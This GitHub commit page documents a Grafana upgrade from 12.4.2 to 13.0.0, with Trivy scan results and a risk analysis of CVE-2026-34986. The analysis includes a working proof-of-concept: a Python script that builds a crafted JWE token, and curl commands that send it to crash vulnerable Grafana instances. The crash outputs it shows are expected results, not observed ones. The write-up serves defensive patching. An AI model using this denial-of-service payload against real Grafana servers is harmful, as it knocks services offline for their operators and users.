Skip to content

Commit 95a063f

Browse files
committed
Merge #453: chore: [#434] upgrade Grafana to 13.0.0 and document CVE-2026-34986 analysis
b1cda31 docs: [#434] fix cspell errors (bearertoken, defence) (Jose Celano) 516bfc6 docs: [#434] correct CVE-2026-34986 exploitability based on live test (Jose Celano) 8d54e6b chore: [#434] fix stale Grafana version in doc comment (Jose Celano) b5ae273 chore: [#434] upgrade Grafana to 13.0.0 and document CVE-2026-34986 analysis (Jose Celano) Pull request description: ## Summary Upgrades Grafana from `12.4.2` → `13.0.0` to eliminate CVE-2026-34986, an unauthenticated remote DoS (CVSS 7.5, AV:N/AC:L/PR:N/UI:N) that affects our public-facing Grafana endpoint. ## Background A full re-scan of `grafana/grafana:12.4.2` with an updated Trivy DB revealed 13 HIGH CVEs instead of the 4 originally found. Among them, CVE-2026-34986 (`go-jose/go-jose/v4 < 4.1.4`) allows an attacker to crash Grafana by sending a crafted JWE bearer token to any HTTP endpoint — no credentials required. Grafana fixed this in [grafana/grafana#121830](grafana/grafana#121830) with a `no-backport` label, so no 12.x patch will be issued. `grafana/grafana:13.0.0` was released on 2026-04-11 and ships `go-jose/v4 4.1.4`. ## Version comparison | Version | HIGH | CRITICAL | CVE-2026-34986 (remote DoS) | | -------- | ---- | -------- | --------------------------- | | `12.4.2` | 13 | 0 | present | | `13.0.0` | 10 | 0 | **absent** ✅ | ## Files changed | File | Change | | ---- | ------ | | `src/domain/grafana/config.rs` | Bump `GRAFANA_DOCKER_IMAGE_TAG` `12.4.2` → `13.0.0` | | `src/infrastructure/.../context/grafana.rs` | Fix stale version in doc comment | | `docs/issues/434-grafana-cves.md` | Full analysis, PoC, mitigation options, 13.0.0 scan results | | `docs/security/docker/scans/grafana.md` | Updated scan history with 13.0.0 entry | | `.github/workflows/docker-security-scan.yml` | Update example comment to 13.0.0 | | `project-words.txt` | New security-related words for cspell | ## Validation - All linters pass: `cargo run --bin linter all` Closes #434 ACKs for top commit: josecelano: ACK b1cda31 Tree-SHA512: b257b521568301ce59868188bb2342375f0015a0ddf8e63c428e2e701a0f362161e0a8513a1b69b0044d9ff54b5507a0aae1b40572608cee02e4d3b302dc4797
2 parents f6e4eae + b1cda31 commit 95a063f

6 files changed

Lines changed: 362 additions & 23 deletions

File tree

.github/workflows/docker-security-scan.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -101,7 +101,7 @@ jobs:
101101
timeout-minutes: 10
102102
outputs:
103103
# JSON array of Docker image references for use in scan matrix
104-
# Example: ["torrust/tracker:develop","mysql:8.4","prom/prometheus:v3.5.1","grafana/grafana:12.4.2","caddy:2.10.2"]
104+
# Example: ["torrust/tracker:develop","mysql:8.4","prom/prometheus:v3.5.1","grafana/grafana:13.0.0","caddy:2.10.2"]
105105
images: ${{ steps.extract.outputs.images }}
106106

107107
steps:

docs/issues/434-grafana-cves.md

Lines changed: 291 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -27,23 +27,304 @@ CRITICALs are fully cleared. 4 HIGH remain in upstream binary dependencies.
2727

2828
## Steps
2929

30-
- [ ] Check the latest Grafana release:
30+
- [x] Check the latest Grafana release:
3131
<https://hub.docker.com/r/grafana/grafana/tags>
32-
- [ ] Run Trivy against the latest tag:
32+
- [x] Run Trivy against the latest tag:
3333
`trivy image --severity HIGH,CRITICAL grafana/grafana:LATEST_TAG`
34-
- [ ] Compare results against the 12.4.2 baseline in
34+
- [x] Compare results against the 12.4.2 baseline in
3535
`docs/security/docker/scans/grafana.md`
3636
- [ ] **If a newer tag reduces HIGH count**: update `src/domain/grafana/config.rs`
3737
and the CI scan matrix; update the scan doc; post results comment; close #434
38-
- [ ] **If no improvement**: post comment with current scan output confirming
38+
- [x] **If no improvement**: post comment with current scan output confirming
3939
no CRITICALs and document accepted risk for remaining HIGH; close #434
4040

4141
## Outcome
4242

43-
<!-- Fill in after doing the work -->
43+
- Date: 2026-04-14
44+
- Grafana tags tested: `12.4.2` (13 HIGH, 0 CRITICAL) and `13.0.0` (10 HIGH, 0 CRITICAL)
45+
- Decision: **upgrade to `grafana/grafana:13.0.0`** — fixes CVE-2026-34986 (remote DoS)
46+
- Action: Updated `src/domain/grafana/config.rs` to `grafana/grafana:13.0.0`
47+
- Comment: posted on issue #434
4448

45-
- Date:
46-
- Latest Grafana tag tested:
47-
- Findings (HIGH / CRITICAL):
48-
- Decision: upgrade / accept risk
49-
- Comment/PR:
49+
### Scan details — `grafana/grafana:12.4.2` (Trivy, 2026-04-14)
50+
51+
| Component | HIGH | CRITICAL |
52+
| -------------------------- | ------ | -------- |
53+
| Alpine 3.23.3 (OS) | 3 | 0 |
54+
| `grafana` binary (Go deps) | 6 | 0 |
55+
| `grafana-cli` binary | 2 | 0 |
56+
| `grafana-server` binary | 2 | 0 |
57+
| **Total** | **13** | **0** |
58+
59+
**Alpine OS CVEs (all `fixed` in newer Alpine, blocked on Grafana rebuilding):**
60+
61+
| CVE | Package | Severity | Fix |
62+
| -------------- | -------------------- | -------- | -------- |
63+
| CVE-2026-28390 | libcrypto3 / libssl3 | HIGH | 3.5.6-r0 |
64+
| CVE-2026-22184 | zlib | HIGH | 1.3.2-r0 |
65+
66+
**Go binary CVEs (all `fixed` in newer upstream versions, blocked on Grafana updating):**
67+
68+
| CVE | Library | Severity | Fix |
69+
| -------------- | ------------------ | -------- | --------------- |
70+
| CVE-2026-34986 | go-jose/go-jose/v4 | HIGH | 4.1.4 |
71+
| CVE-2026-34040 | moby/moby | HIGH | 29.3.1 |
72+
| CVE-2026-24051 | otel/sdk | HIGH | 1.40.0 |
73+
| CVE-2026-39883 | otel/sdk | HIGH | 1.43.0 |
74+
| CVE-2026-32280 | stdlib | HIGH | 1.25.9 / 1.26.2 |
75+
| CVE-2026-32282 | stdlib | HIGH | 1.25.9 / 1.26.2 |
76+
77+
### CVE-2026-34986 — remotely exploitable DoS (highest risk)
78+
79+
**Advisory**: [GHSA-78h2-9frx-2jm8](https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8)
80+
**CVSS**: 7.5 High — `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
81+
**Root cause**: Dependency issue in `go-jose/go-jose/v4` (not Grafana's own code).
82+
**Mechanism**: If Grafana receives a JWE token whose `alg` field names a key-wrapping
83+
algorithm (e.g. `A128KW`) but with an empty `encrypted_key`, go-jose panics trying to
84+
allocate a zero-length slice in `cipher.KeyUnwrap()`. The panic crashes the goroutine
85+
and can bring down the Grafana process entirely.
86+
87+
**Is it exploitable via the public dashboard?** Not via the simple bearer-token path
88+
tested on 2026-04-14. Testing against the live `grafana.torrust-tracker-demo.com`
89+
(`12.4.2`) confirmed the attack does **not** trigger a panic from a plain
90+
`Authorization: Bearer <JWE>` header:
91+
92+
```console
93+
$ TOKEN="eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..AAAA.AAAA.AAAA"
94+
$ curl -si -H "Authorization: Bearer $TOKEN" https://grafana.torrust-tracker-demo.com/api/org
95+
HTTP/2 401 {"message":"Invalid API key"}
96+
```
97+
98+
Grafana's auth middleware routed the token to the **API key** handler
99+
(`auth.client.api-key`), which performs a simple database lookup — it never calls
100+
go-jose to parse the token. Server log:
101+
102+
```text
103+
INFO Failed to authenticate request client=auth.client.api-key error="[api-key.invalid] API key is invalid"
104+
```
105+
106+
The go-jose panic is only reachable when Grafana calls `jwe.ParseEncrypted()` on
107+
user input — which happens in specific auth flows (e.g. service-account JWT auth,
108+
certain OIDC callback paths) but **not** via the default API-key/bearer-token
109+
routing used here.
110+
111+
**Revised risk**: The CVSS `AV:N/AC:L/PR:N` reflects the library's theoretical
112+
attack surface. In practice, this deployment is not vulnerable to the simple
113+
bearer-token attack vector. The CVE is real in the binary and the upgrade to 13.0.0
114+
is still correct (defense in depth), but the immediate risk of remote DoS on
115+
`grafana.torrust-tracker-demo.com` via this technique is not confirmed.
116+
117+
**Grafana's fix**: merged in PR
118+
[grafana/grafana#121830](https://github.com/grafana/grafana/pull/121830) 2 weeks
119+
ago, bumping `go-jose/v4` to `4.1.4`. The PR targets milestone **13.0.x** and is
120+
labelled `no-backport`**no fix will be released for any 12.x version**.
121+
122+
**Status**: Fixed in `grafana/grafana:13.0.0` (bumped `go-jose/v4` to `4.1.4` via PR
123+
[grafana/grafana#121830](https://github.com/grafana/grafana/pull/121830)).
124+
`src/domain/grafana/config.rs` updated to `grafana/grafana:13.0.0`.
125+
126+
#### Proof-of-concept
127+
128+
> ⚠️ **Run against a local instance first.**
129+
>
130+
> **Update (2026-04-14)**: The attack was tested against the live demo
131+
> (`grafana.torrust-tracker-demo.com`, `12.4.2`) and did **not** produce a panic.
132+
> Grafana routed the JWE bearer token to the API key handler rather than the
133+
> JWE parser. The PoC below may only work in configurations where JWT auth is
134+
> explicitly enabled or via specific OIDC flows.
135+
136+
##### Step 1 — Generate the crafted JWE token
137+
138+
The JWE compact serialisation has five base64url segments separated by `.`:
139+
140+
```text
141+
<header>.<encrypted_key>.<iv>.<ciphertext>.<tag>
142+
```
143+
144+
The panic is triggered by setting `alg` to a KW algorithm and leaving
145+
`encrypted_key` (segment 2) empty.
146+
147+
```python
148+
# generate-jwe-poc.py
149+
import base64, json
150+
151+
header = {"alg": "A128KW", "enc": "A128CBC-HS256"}
152+
header_b64 = (
153+
base64.urlsafe_b64encode(
154+
json.dumps(header, separators=(",", ":")).encode()
155+
)
156+
.rstrip(b"=")
157+
.decode()
158+
)
159+
160+
# JWE compact: <header>.<encrypted_key>.<iv>.<ciphertext>.<tag>
161+
# Leave encrypted_key empty — this is the trigger.
162+
jwe = f"{header_b64}..AAAA.AAAA.AAAA"
163+
print(jwe)
164+
```
165+
166+
Run it:
167+
168+
```console
169+
$ python3 generate-jwe-poc.py
170+
eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..AAAA.AAAA.AAAA
171+
```
172+
173+
##### Step 2 — Send the request
174+
175+
Replace `<TOKEN>` with the output from step 1 and `<HOST>` with either a local
176+
instance or the live demo.
177+
178+
```console
179+
$ TOKEN="eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0..AAAA.AAAA.AAAA"
180+
181+
# Against a local instance (safe — recommended first):
182+
$ curl -si -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/health
183+
184+
# Against the live demo (will cause a brief outage — your own server):
185+
$ curl -si -H "Authorization: Bearer $TOKEN" https://grafana.torrust-tracker-demo.com/api/health
186+
```
187+
188+
##### Expected response from a vulnerable instance (12.4.2)
189+
190+
The HTTP connection drops or Grafana returns a 502 from Caddy because the process
191+
crashed:
192+
193+
```text
194+
HTTP/2 502
195+
content-type: text/html; charset=utf-8
196+
...
197+
<html>Bad Gateway</html>
198+
```
199+
200+
Alternatively the connection resets immediately with no response, depending on how
201+
fast Docker restarts the container.
202+
203+
The Grafana container log shows the panic:
204+
205+
```text
206+
goroutine 1 [running]:
207+
runtime/debug.Stack(...)
208+
/usr/local/go/src/runtime/debug/stack.go:24
209+
github.com/go-jose/go-jose/v4.(*symmetricKeyCipher).keyUnwrap(...)
210+
github.com/go-jose/go-jose/v4@v4.1.3/cipher/key_wrap.go:82 +0x...
211+
panic: runtime error: makeslice: len out of range
212+
```
213+
214+
To observe it locally:
215+
216+
```sh
217+
docker logs --follow torrust-grafana 2>&1 | grep -A 10 "panic"
218+
```
219+
220+
##### Expected response from a patched instance (13.0.x / go-jose 4.1.4)
221+
222+
Grafana returns a proper 400 Bad Request without crashing:
223+
224+
```text
225+
HTTP/2 400
226+
content-type: application/json
227+
228+
{"message":"JWE parse failed: go-jose/v4: invalid payload","requestId":"..."}
229+
```
230+
231+
##### Verifying the container recovered
232+
233+
After a crash, Docker's `restart: always` policy brings Grafana back in a few
234+
seconds. Confirm with:
235+
236+
```console
237+
$ docker inspect --format '{{.RestartCount}}' torrust-grafana
238+
1
239+
```
240+
241+
A non-zero restart count confirms the process was killed by the panic.
242+
243+
### Mitigation options
244+
245+
Three options exist for reducing exposure to CVE-2026-34986:
246+
247+
| Option | Effort | Completeness | Notes |
248+
| ---------------------------------- | ------ | ------------ | ----------------------------------------------------------- |
249+
| **Upgrade to 13.0.0** (chosen) | Low | Full fix | `go-jose/v4` bumped to `4.1.4`; DoS eliminated |
250+
| Caddy WAF rule | Medium | Partial | Block `Authorization` headers matching JWE compact format |
251+
| Accept risk + rely on auto-restart | None | None | Docker `restart: always` recovers single crashes in seconds |
252+
253+
**Upgrade to 13.0.0** is the only complete fix. Grafana labelled the `go-jose` bump
254+
`no-backport`, so 12.x will never receive a patch. `grafana/grafana:13.0.0` was
255+
released on 2026-04-11 and already ships `go-jose/v4 4.1.4`.
256+
257+
**Caddy WAF rule** (interim option, not applied): Caddy can reject requests whose
258+
`Authorization: Bearer` value matches the JWE compact format (five dot-separated
259+
base64url segments). This would block the PoC token before it reaches Grafana.
260+
Not applied here because upgrading to 13.0.0 is available and cleaner.
261+
262+
**Docker restart recovery**: Docker's `restart: always` policy brings Grafana back
263+
in seconds after a single crash. A sustained attack keeps it unavailable for the
264+
duration. This is a recovery mechanism, not a mitigation.
265+
266+
### Scan details — `grafana/grafana:13.0.0` (Trivy, 2026-04-14)
267+
268+
| Component | HIGH | CRITICAL |
269+
| -------------------------- | ------ | -------- |
270+
| Alpine 3.23.3 (OS) | 3 | 0 |
271+
| `grafana` binary (Go deps) | 2 | 0 |
272+
| `grafana-cli` binary | 0 | 0 |
273+
| `grafana-server` binary | 0 | 0 |
274+
| `elasticsearch` plugin | 5 | 0 |
275+
| **Total** | **10** | **0** |
276+
277+
**Improvements vs 12.4.2**: CVE-2026-34986 (`go-jose`) eliminated; CVE-2026-24051
278+
(`otel/sdk`) and CVE-2026-32280/CVE-2026-32282 (`stdlib`) also fixed. `grafana-cli`
279+
and `grafana-server` are fully clean (0 findings each).
280+
281+
**New in 13.0.0**: The bundled `elasticsearch` datasource plugin binary introduces
282+
5 HIGH CVEs (`otel/sdk` CVE-2026-39883, `stdlib` CVE-2026-25679 / CVE-2026-27137 /
283+
CVE-2026-32280 / CVE-2026-32282). All are local-only — PATH-hijack or
284+
internal-only code paths, not reachable via Grafana's HTTP layer.
285+
286+
**Version comparison:**
287+
288+
| Version | HIGH | CRITICAL | CVE-2026-34986 (remote DoS) |
289+
| -------- | ------ | -------- | --------------------------- |
290+
| `12.3.1` | 18 | 6 | present |
291+
| `12.4.2` | 13 | 0 | present |
292+
| `13.0.0` | **10** | **0** | **absent** |
293+
294+
**Alpine OS CVEs (unchanged — blocked on Grafana rebuilding against Alpine 3.23.6+):**
295+
296+
| CVE | Package | Severity | Fix |
297+
| -------------- | ---------- | -------- | -------- |
298+
| CVE-2026-28390 | libcrypto3 | HIGH | 3.5.6-r0 |
299+
| CVE-2026-28390 | libssl3 | HIGH | 3.5.6-r0 |
300+
| CVE-2026-22184 | zlib | HIGH | 1.3.2-r0 |
301+
302+
**Go binary CVEs remaining in `grafana` binary:**
303+
304+
| CVE | Library | Severity | Fix | Remote? |
305+
| -------------- | --------- | -------- | ------ | ------- |
306+
| CVE-2026-34040 | moby/moby | HIGH | 29.3.1 | No |
307+
| CVE-2026-39883 | otel/sdk | HIGH | 1.43.0 | No |
308+
309+
### Risk assessment for remaining CVEs
310+
311+
All remaining CVEs (10 HIGH, 0 CRITICAL in `grafana/grafana:13.0.0`) require local
312+
access or are not reachable via Grafana's HTTP layer:
313+
314+
| CVE | Exploitable remotely? | Reason |
315+
| -------------- | --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
316+
| CVE-2026-28390 | No | Caddy terminates TLS; Grafana never processes raw TLS |
317+
| CVE-2026-22184 | No | `untgz` path — unreachable via dashboard UI |
318+
| CVE-2026-34040 | No | Moby Docker-client code, not a Grafana HTTP endpoint |
319+
| CVE-2026-39883 | No | Local PATH-hijack — requires host shell access |
320+
| CVE-2026-25679 | No | `elasticsearch` plugin internal path — not reachable via dashboard |
321+
| CVE-2026-27137 | No | `elasticsearch` plugin internal path — not reachable via dashboard |
322+
| CVE-2026-32280 | No | Go chain-building DoS on outbound TLS — not reachable from public internet |
323+
| CVE-2026-32282 | No | Local `Root.Chmod` symlink — requires host shell access |
324+
| CVE-2026-34986 | Not confirmed | JWE bearer token routed to API-key handler in live test; panic requires a code path that calls `jwe.ParseEncrypted()` (e.g. JWT-auth or OIDC flows) |
325+
326+
**Overall risk**: CVE-2026-34986 was not confirmed exploitable via simple bearer token
327+
on this deployment — the API-key auth handler intercepted the request before go-jose
328+
was called. The upgrade to `grafana/grafana:13.0.0` eliminates the vulnerability at
329+
its root regardless. The remaining 10 HIGH CVEs have no realistic remote attack path
330+
in this deployment. No CRITICALs in any version we are now deploying.

0 commit comments

Comments
 (0)